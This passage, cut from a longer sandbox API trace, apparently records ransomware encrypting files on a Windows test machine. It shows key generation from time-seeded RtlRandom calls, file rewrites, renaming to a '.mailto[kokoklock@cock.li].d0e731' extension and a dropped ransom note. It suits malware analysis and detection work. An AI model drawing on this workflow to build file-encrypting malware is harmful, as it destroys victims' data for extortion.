Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.333] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c60) returned 1 [0177.333] RtlExitUserThread (Status=0x0) Thread: id = 2642 os_tid = 0x10cc [0177.334] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.335] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.335] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.335] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.335] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99598) returned 1 [0177.335] RtlExitUserThread (Status=0x0) Thread: id = 2643 os_tid = 0x10d0 [0177.336] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.337] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.337] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.337] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.337] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1518) returned 1 [0177.337] RtlExitUserThread (Status=0x0) Thread: id = 2644 os_tid = 0x10d4 [0177.338] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ajdrxahk.avi.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.340] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.340] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ajdrxahk.avi.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x824 [0177.340] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x2997fe20 | out: lpFileSize=0x2997fe20*=12077) returned 1 [0177.340] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x2f29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.340] ReadFile (in: hFile=0x824, lpBuffer=0x2997fdf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2997fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2997fdf4*, lpNumberOfBytesRead=0x2997fdf0*=0x4, lpOverlapped=0x0) returned 1 [0177.342] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.342] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95080 [0177.342] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950d0 [0177.342] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ef0 [0177.342] NtQuerySystemTime (in: CurrentTime=0x2997fdcc | out: CurrentTime=0x2997fdcc*=132121213346561817) returned 0x0 [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x7c88ca85 [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x17bc640f [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x593d6aa9 [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x241b617 [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xca453b52 [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xf5ecbcf7 [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x9e2150a8 [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x807b3044 [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xac58853 [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xb3da26bc [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x523ab4db [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xa2ba908b [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xb81e81bd [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xad01f16b [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x4e38502c [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x6a662f83 [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xba39b1d3 [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xbd7530de [0177.342] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xc63b073e [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x2baf4733 [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x112c2609 [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xc3c08013 [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xae7be35f [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xf80115c6 [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xe1c026a6 [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x69b8d7c1 [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xb2f2b156 [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xd933f64e [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x6e0499ba [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0x333cf49a [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xb9bed0b2 [0177.343] RtlRandom (in: Seed=0x2997fdd8 | out: Seed=0x2997fdd8) returned 0xbba15a2d [0177.353] ReadFile (in: hFile=0x824, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x2f2d, lpNumberOfBytesRead=0x2997fdcc, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x2997fdcc*=0x2f2d, lpOverlapped=0x0) returned 1 [0177.354] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2997fd94 | out: lpNewFilePointer=0x0) returned 1 [0177.355] WriteFile (in: hFile=0x824, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x2f2d, lpNumberOfBytesWritten=0x2997fdc8, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x2997fdc8*=0x2f2d, lpOverlapped=0x0) returned 1 [0177.355] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95080 [0177.355] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e78 [0177.355] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e78) returned 1 [0177.355] WriteFile (in: hFile=0x824, lpBuffer=0x2f95080*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2997fdc4, lpOverlapped=0x0 | out: lpBuffer=0x2f95080*, lpNumberOfBytesWritten=0x2997fdc4*=0x20, lpOverlapped=0x0) returned 1 [0177.355] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95080) returned 1 [0177.355] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.355] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.355] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0177.355] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0177.355] WriteFile (in: hFile=0x824, lpBuffer=0x2f94f18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2997fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2f94f18*, lpNumberOfBytesWritten=0x2997fdf0*=0x8, lpOverlapped=0x0) returned 1 [0177.355] WriteFile (in: hFile=0x824, lpBuffer=0x2997fe08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2997fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2997fe08*, lpNumberOfBytesWritten=0x2997fdf0*=0x4, lpOverlapped=0x0) returned 1 [0177.355] WriteFile (in: hFile=0x824, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2997fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2997fdf0*=0x4, lpOverlapped=0x0) returned 1 [0177.356] WriteFile (in: hFile=0x824, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2997fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2997fdf0*=0x6c, lpOverlapped=0x0) returned 1 [0177.356] WriteFile (in: hFile=0x824, lpBuffer=0x2f950d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2997fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2f950d0*, lpNumberOfBytesWritten=0x2997fdf0*=0x20, lpOverlapped=0x0) returned 1 [0177.356] WriteFile (in: hFile=0x824, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2997fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2997fdf0*=0x4, lpOverlapped=0x0) returned 1 [0177.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950d0) returned 1 [0177.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e50) returned 1 [0177.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f18) returned 1 [0177.356] CloseHandle (hObject=0x824) returned 1 [0177.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15e) returned 0x2f6ab60 [0177.356] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731" [0177.356] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.356] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ajdrxahk.avi.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ajdrxahk.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.369] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.369] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0177.369] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4850 [0177.369] wcscpy (in: _Dest=0x2fc4850, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0177.369] wcscat (in: _Dest=0x2fc4850, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" [0177.369] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\d0e731-readme.txt")) returned 0x20 [0177.370] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4850) returned 1 [0177.370] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5100) returned 1 [0177.370] RtlExitUserThread (Status=0x1) Thread: id = 2645 os_tid = 0x10d8 [0177.372] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\gnw x.swf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.372] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\gnw x.swf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x824 [0177.372] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x299ff7a4 | out: lpFileSize=0x299ff7a4*=50173) returned 1 [0177.372] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0xc3f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.372] ReadFile (in: hFile=0x824, lpBuffer=0x299ff778, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x299ff774, lpOverlapped=0x0 | out: lpBuffer=0x299ff778*, lpNumberOfBytesRead=0x299ff774*=0x4, lpOverlapped=0x0) returned 1 [0177.374] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e78 [0177.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95080 [0177.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e50 [0177.374] NtQuerySystemTime (in: CurrentTime=0x299ff750 | out: CurrentTime=0x299ff750*=132121213346874869) returned 0x0 [0177.374] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x5d9d075d [0177.374] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x7b19da73 [0177.374] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x4e1d68f5 [0177.374] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0xdab60237 [0177.374] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0xeb490965 [0177.374] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x6b08c167 [0177.374] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0xf7577e2f [0177.374] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x1d32508c [0177.374] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x2970d72c [0177.374] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x8dab60ab [0177.374] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x3bf3b3f1 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0xa35e38c5 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x14718a42 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x5b2634cd [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x2c095cb2 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x34415bf0 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x73a07417 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x3c4505d0 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x61a497d1 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x697d68ba [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0xfec7f5f4 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0xc9d7d7b6 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x3fe6dbeb [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x5ea4c9 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x828eea14 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0xed126ec7 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x4a85124d [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x1ff93ccc [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0x414e5024 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0xf0bb6c28 [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0xa33dee5f [0177.375] RtlRandom (in: Seed=0x299ff75c | out: Seed=0x299ff75c) returned 0xac878058 [0177.387] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.387] ReadFile (in: hFile=0x824, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x299ff728, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x299ff728*=0x4096, lpOverlapped=0x0) returned 1 [0177.388] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0177.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88910 [0177.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.388] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0177.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e78 [0177.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950a8 [0177.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950a8) returned 1 [0177.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88910) returned 1 [0177.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0177.389] WriteFile (in: hFile=0x824, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x299ff728, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x299ff728*=0x4096, lpOverlapped=0x0) returned 1 [0177.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.389] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0xc3fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.390] WriteFile (in: hFile=0x824, lpBuffer=0x2f94e78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x299ff760, lpOverlapped=0x0 | out: lpBuffer=0x2f94e78*, lpNumberOfBytesWritten=0x299ff760*=0x20, lpOverlapped=0x0) returned 1 [0177.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e78) returned 1 [0177.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.390] WriteFile (in: hFile=0x824, lpBuffer=0x2f94f90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x299ff774, lpOverlapped=0x0 | out: lpBuffer=0x2f94f90*, lpNumberOfBytesWritten=0x299ff774*=0x8, 